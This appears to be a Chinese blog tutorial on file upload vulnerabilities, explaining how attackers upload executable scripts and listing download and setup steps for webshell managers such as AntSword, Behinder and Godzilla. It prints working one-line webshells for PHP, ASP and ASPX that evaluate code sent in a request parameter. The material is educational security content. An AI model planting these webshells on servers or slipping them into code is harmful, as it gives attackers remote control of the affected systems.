当前位置:网站首页>WEB安全基础 - - -文件上传
WEB安全基础 - - -文件上传
2022-07-20 12:03:00 【干掉芹菜】
目录
一,文件上传简介
二,文件上传漏洞简介
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是Web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。
三,文件上传漏洞出现的原因
四,Webshell简介
常用Webshell:php一句话木马: <?php @eval($_POST[value]);?>asp一句话木马: <%eval request("value")%>aspx一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
五,Webshell基本原理
以一句话木马为例
<?php@eval($_POST['cmd']);?>
php的代码要写在 <?php ?> 里面,服务器才能认出来这是php代码,然后才去解析。
$_POST['cmd'];
六,Webshell管理工具
中国菜刀
中国菜刀:https://github.com/raddyfiy/caidao-official-version
蚁剑-AntSword
安装1. 下载 AntSword-Loaderhttps://github.com/AntSwordProject/AntSword-Loader/releases2. 下载 antSwordhttps://github.com/AntSwordProject/antSword/releases3. 解压并进入 AntSword-Loader 目录,新建work目录,解压 antSword 到 work 目录
冰蝎-Behinder
安装Behinder:https://github.com/rebeyond/Behinder/releases
哥斯拉-Godzilla
安装Godzilla:https://github.com/BeichenDream/Godzilla/releases
边栏推荐
- HCIP笔记第九天
- Unity learning notes: code record of launching a small ball to collide with an object
- R语言使用mean函数计算样本(观测)数据中指定变量的相对频数:计算dataframe中指定数据列的值等于指定内容的比例(取值为NJ的内容在数据列中的比例)
- 包教包会-贝塞尔曲线的绘制原理与应用
- 【程序员面试金典】 01.09 字符串轮转
- Google Earth engine - merra-2 m2t1nxaer: aerosol daily data set from 1980 to 2022
- 【暑期每日一题】洛谷 P6850 NOI
- web页面的点对点复制粘贴
- vim加密文件「建议收藏」
- Hcip notes day 8
猜你喜欢
OCR/STR生僻字数据集生成 | PaddleOCR的垂类Fine-tune(1)
云原生平台,让边缘应用玩出花!
OCR/STR生僻字数据训练 | PaddleOCR的Fine-tune常见问题汇总(3)
Lecture 30 linear algebra Lecture 6 quadratic form
Leetcode skimming: dynamic programming 01 (Fibonacci Series)
Technical Analysis | Doris connector combined with Flink CDC to achieve accurate access to MySQL database and table exactly once
Construction of Seata multilingual system
Question 300: Lesson 5 eigenvalues and eigenvectors
音视频学习(九)——RTCP协议
Redis Learning notes (1) - Power Node of Station B
随机推荐
【暑期每日一题】洛谷 P1157 组合的输出
What is the difference between dall-e2 and imgen? Reddit hot post inventory effect difference
Open source remote desktop software rustdesk
R语言ggplot2可视化:使用ggpubr包的ggviolin函数可视化小提琴图、设置add参数在小提琴内部添加均值标准差线、设置error.plot参数实际显示箱体
乐高(LEGO)在线购物店面剖析
InsightFace-Paddle 使用指南(1)
30讲 线性代数 第六讲 二次型
R语言使用mean函数计算样本(观测)数据中指定变量的相对频数:计算dataframe中指定数据列的值等于指定内容的比例(取值为NJ的内容在数据列中的比例)
Audio and video learning (IX) -- RTCP protocol
InsightFace-Paddle 使用指南(2)
阿里云发布《升舱-数据仓库升级交付标准化》白皮书
Data structure of MySQL index
C#/VB.NET在 Word 中插入水印
新版PMP考试中,敏捷是怎么考的?
MapStruct - Consider defining a bean of type in your configuration.
grafana可视化配置图表Stat
Redis learning notes (1) - power node of station B
Technical Analysis | Doris connector combined with Flink CDC to achieve accurate access to MySQL database and table exactly once
Nextcloud personal cloud storage is an excellent choice: one click automatic installation method and cloud disk use experience
【NDK】EGL/egl.h: No such file or directory